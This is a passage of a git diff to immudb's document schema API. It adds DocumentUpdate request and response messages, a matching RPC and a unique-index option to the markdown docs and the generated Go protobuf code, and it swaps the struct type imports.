b/pkg/api/documentschema/docs.md @@ -25,6 +25,8 @@ - [DocumentQuery](#immudb.documentschema.DocumentQuery) - [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) - [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb.documentschema.DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb.documentschema.DocumentUpdateResponse) - [IndexOption](#immudb.documentschema.IndexOption) - [IndexValue](#immudb.documentschema.IndexValue) - [Proof](#immudb.documentschema.Proof) @@ -373,6 +375,38 @@ + + +### DocumentUpdateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | + + + + + + + + +### DocumentUpdateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | +| revision | [uint64](#uint64) | | | + + + + + + ### IndexOption @@ -382,6 +416,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | type | [IndexType](#immudb.documentschema.IndexType) | | | +| unique | [bool](#bool) | | | @@ -464,6 +499,7 @@ | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| | DocumentInsert | [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb.documentschema.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.documentschema.DocumentUpdateResponse) | | | DocumentSearch | [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) | | | DocumentAudit | [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) | | | DocumentProof | [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) | [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 235b757b40..c74900bc03 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -16,19 +16,19 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.21.9 +// protoc v3.12.4 // source: documentschema.proto package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" + _ "github.com/golang/protobuf/ptypes/empty" + _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" - _ "google.golang.org/protobuf/types/known/emptypb" - structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -152,8 +152,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -195,7 +195,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { +func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { if x != nil { return x.Document } @@ -257,6 +257,116 @@ func (x *DocumentInsertResponse) GetDocumentId() string { return "" } +type DocumentUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentUpdateRequest) Reset() { + *x = DocumentUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentUpdateRequest) ProtoMessage() {} + +func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentUpdateRequest.ProtoReflect.Descriptor instead. +func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{2} +} + +func (x *DocumentUpdateRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` +} + +func (x *DocumentUpdateResponse) Reset() { + *x = DocumentUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentUpdateResponse) ProtoMessage() {} + +func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentUpdateResponse.ProtoReflect.Descriptor instead. +func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{3} +} + +func (x *DocumentUpdateResponse) GetProof() *schema.VerifiableTx { + if x != nil { + return x.Proof + } + return nil +} + +func (x *DocumentUpdateResponse) GetRevision() uint64 { + if x != nil { + return x.Revision + } + return 0 +} + type IndexValue struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -274,7 +384,7 @@ type IndexValue struct { func (x *IndexValue) Reset() { *x = IndexValue{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[2] + mi := &file_documentschema_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -287,7 +397,7 @@ func (x *IndexValue) String() string { func (*IndexValue) ProtoMessage() {} func (x *IndexValue) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[2] + mi := &file_documentschema_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -300,7 +410,7 @@ func (x *IndexValue) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexValue.ProtoReflect.Descriptor instead. func (*IndexValue) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{2} + return file_documentschema_proto_rawDescGZIP(), []int{4} } func (m *IndexValue) GetKind() isIndexValue_Kind { @@ -310,11 +420,11 @@ func (m *IndexValue) GetKind() isIndexValue_Kind { return nil } -func (x *IndexValue) GetNullValue() structpb.NullValue { +func (x *IndexValue) GetNullValue() _struct.NullValue { if x, ok := x.GetKind().(*IndexValue_NullValue); ok { return x.NullValue } - return structpb.NullValue(0) + return _struct.NullValue(0) } func (x *IndexValue) GetNumberValue() float64 { @@ -343,7 +453,7 @@ type isIndexValue_Kind interface { } type IndexValue_NullValue struct { - NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` + NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` } type IndexValue_NumberValue struct { @@ -371,15 +481,15 @@ type DocumentQuery struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { *x = DocumentQuery{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[3] + mi := &file_documentschema_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -392,7 +502,7 @@ func (x *DocumentQuery) String() string { func (*DocumentQuery) ProtoMessage() {} func (x *DocumentQuery) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[3] + mi := &file_documentschema_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -405,7 +515,7 @@ func (x *DocumentQuery) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. func (*DocumentQuery) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{3} + return file_documentschema_proto_rawDescGZIP(), []int{5} } func (x *DocumentQuery) GetField() string { @@ -422,7 +532,7 @@ func (x *DocumentQuery) GetOperator() QueryOperator { return QueryOperator_EQ } -func (x *DocumentQuery) GetValue() *structpb.Value { +func (x *DocumentQuery) GetValue() *_struct.Value { if x != nil { return x.Value } @@ -443,7 +553,7 @@ type DocumentSearchRequest struct { func (x *DocumentSearchRequest) Reset() { *x = DocumentSearchRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[4] + mi := &file_documentschema_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -456,7 +566,7 @@ func (x *DocumentSearchRequest) String() string { func (*DocumentSearchRequest) ProtoMessage() {} func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[4] + mi := &file_documentschema_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -469,7 +579,7 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{4} + return file_documentschema_proto_rawDescGZIP(), []int{6} } func (x *DocumentSearchRequest) GetCollection() string { @@ -505,16 +615,16 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` } func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[5] + mi := &file_documentschema_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -527,7 +637,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[5] + mi := &file_documentschema_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -540,10 +650,10 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{5} + return file_documentschema_proto_rawDescGZIP(), []int{7} } -func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { +func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { if x != nil { return x.Results } @@ -584,7 +694,7 @@ type DocumentProofRequest struct { func (x *DocumentProofRequest) Reset() { *x = DocumentProofRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[6] + mi := &file_documentschema_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -597,7 +707,7 @@ func (x *DocumentProofRequest) String() string { func (*DocumentProofRequest) ProtoMessage() {} func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[6] + mi := &file_documentschema_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -610,7 +720,7 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{6} + return file_documentschema_proto_rawDescGZIP(), []int{8} } func (x *DocumentProofRequest) GetCollection() string { @@ -645,7 +755,7 @@ type DocumentProofResponse struct { func (x *DocumentProofResponse) Reset() { *x = DocumentProofResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[7] + mi := &file_documentschema_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -658,7 +768,7 @@ func (x *DocumentProofResponse) String() string { func (*DocumentProofResponse) ProtoMessage() {} func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[7] + mi := &file_documentschema_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -671,7 +781,7 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{7} + return file_documentschema_proto_rawDescGZIP(), []int{9} } func (x *DocumentProofResponse) GetProof() *schema.VerifiableTx { @@ -695,7 +805,7 @@ type DocumentAuditRequest struct { func (x *DocumentAuditRequest) Reset() { *x = DocumentAuditRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[8] + mi := &file_documentschema_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -708,7 +818,7 @@ func (x *DocumentAuditRequest) String() string { func (*DocumentAuditRequest) ProtoMessage() {} func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[8] + mi := &file_documentschema_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -721,7 +831,7 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{8} + return file_documentschema_proto_rawDescGZIP(), []int{10} } func (x *DocumentAuditRequest) GetCollection() string { @@ -766,7 +876,7 @@ type DocumentAuditResponse struct { func (x *DocumentAuditResponse) Reset() { *x = DocumentAuditResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[9] + mi := &file_documentschema_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -779,7 +889,7 @@ func (x *DocumentAuditResponse) String() string { func (*DocumentAuditResponse) ProtoMessage() {} func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[9] + mi := &file_documentschema_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -792,7 +902,7 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{9} + return file_documentschema_proto_rawDescGZIP(), []int{11} } func (x *DocumentAuditResponse) GetResults() []*DocumentAudit { @@ -828,14 +938,14 @@ type DocumentAudit struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Value *structpb.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` - TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` + Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` + TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` } func (x *DocumentAudit) Reset() { *x = DocumentAudit{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[10] + mi := &file_documentschema_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -848,7 +958,7 @@ func (x *DocumentAudit) String() string { func (*DocumentAudit) ProtoMessage() {} func (x *DocumentAudit) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[10] + mi := &file_documentschema_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -861,10 +971,10 @@ func (x *DocumentAudit) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAudit.ProtoReflect.Descriptor instead. func (*DocumentAudit) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{10} + return file_documentschema_proto_rawDescGZIP(), []int{12} } -func (x *DocumentAudit) GetValue() *structpb.Struct { +func (x *DocumentAudit) GetValue() *_struct.Struct { if x != nil { return x.Value } @@ -883,13 +993,14 @@ type IndexOption struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` + Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` + Unique bool `protobuf:"varint,2,opt,name=unique,proto3" json:"unique,omitempty"` } func (x *IndexOption) Reset() { *x = IndexOption{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[11] + mi := &file_documentschema_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -902,7 +1013,7 @@ func (x *IndexOption) String() string { func (*IndexOption) ProtoMessage() {} func (x *IndexOption) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[11] + mi := &file_documentschema_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -915,7 +1026,7 @@ func (x *IndexOption) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexOption.ProtoReflect.Descriptor instead. func (*IndexOption) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{11} + return file_documentschema_proto_rawDescGZIP(), []int{13} } func (x *IndexOption) GetType() IndexType { @@ -925,6 +1036,13 @@ func (x *IndexOption) GetType() IndexType { return IndexType_DOUBLE } +func (x *IndexOption) GetUnique() bool { + if x != nil { + return x.Unique + } + return false +} + type CollectionCreateRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -937,7 +1055,7 @@ type CollectionCreateRequest struct { func (x *CollectionCreateRequest) Reset() { *x = CollectionCreateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[12] + mi := &file_documentschema_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -950,7 +1068,7 @@ func (x *CollectionCreateRequest) String() string { func (*CollectionCreateRequest) ProtoMessage() {} func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[12] + mi := &file_documentschema_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -963,7 +1081,7 @@ func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{12} + return file_documentschema_proto_rawDescGZIP(), []int{14} } func (x *CollectionCreateRequest) GetName() string { @@ -991,7 +1109,7 @@ type CollectionCreateResponse struct { func (x *CollectionCreateResponse) Reset() { *x = CollectionCreateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[13] + mi := &file_documentschema_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1004,7 +1122,7 @@ func (x *CollectionCreateResponse) String() string { func (*CollectionCreateResponse) ProtoMessage() {} func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[13] + mi := &file_documentschema_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1017,7 +1135,7 @@ func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{13} + return file_documentschema_proto_rawDescGZIP(), []int{15} } func (x *CollectionCreateResponse) GetCollection() *CollectionInformation { @@ -1039,7 +1157,7 @@ type CollectionInformation struct { func (x *CollectionInformation) Reset() { *x = CollectionInformation{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[14] + mi := &file_documentschema_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1052,7 +1170,7 @@ func (x *CollectionInformation) String() string { func (*CollectionInformation) ProtoMessage() {} func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[14] + mi := &file_documentschema_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1065,7 +1183,7 @@ func (x *CollectionInformation) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{14} + return file_documentschema_proto_rawDescGZIP(), []int{16} } func (x *CollectionInformation) GetName() string { @@ -1093,7 +1211,7 @@ type CollectionGetResponse struct { func (x *CollectionGetResponse) Reset() { *x = CollectionGetResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[15] + mi := &file_documentschema_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1106,7 +1224,7 @@ func (x *CollectionGetResponse) String() string { func (*CollectionGetResponse) ProtoMessage() {} func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[15] + mi := &file_documentschema_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1119,7 +1237,7 @@ func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. func (*CollectionGetResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{15} + return file_documentschema_proto_rawDescGZIP(), []int{17} } func (x *CollectionGetResponse) GetCollection() *CollectionInformation { @@ -1140,7 +1258,7 @@ type CollectionGetRequest struct { func (x *CollectionGetRequest) Reset() { *x = CollectionGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[16] + mi := &file_documentschema_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1153,7 +1271,7 @@ func (x *CollectionGetRequest) String() string { func (*CollectionGetRequest) ProtoMessage() {} func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[16] + mi := &file_documentschema_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1166,7 +1284,7 @@ func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{16} + return file_documentschema_proto_rawDescGZIP(), []int{18} } func (x *CollectionGetRequest) GetName() string { @@ -1185,7 +1303,7 @@ type CollectionListRequest struct { func (x *CollectionListRequest) Reset() { *x = CollectionListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[17] + mi := &file_documentschema_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1198,7 +1316,7 @@ func (x *CollectionListRequest) String() string { func (*CollectionListRequest) ProtoMessage() {} func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[17] + mi := &file_documentschema_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1211,7 +1329,7 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{17} + return file_documentschema_proto_rawDescGZIP(), []int{19} } type CollectionListResponse struct { @@ -1225,7 +1343,7 @@ type CollectionListResponse struct { func (x *CollectionListResponse) Reset() { *x = CollectionListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[18] + mi := &file_documentschema_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1238,7 +1356,7 @@ func (x *CollectionListResponse) String() string { func (*CollectionListResponse) ProtoMessage() {} func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[18] + mi := &file_documentschema_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1251,7 +1369,7 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{18} + return file_documentschema_proto_rawDescGZIP(), []int{20} } func (x 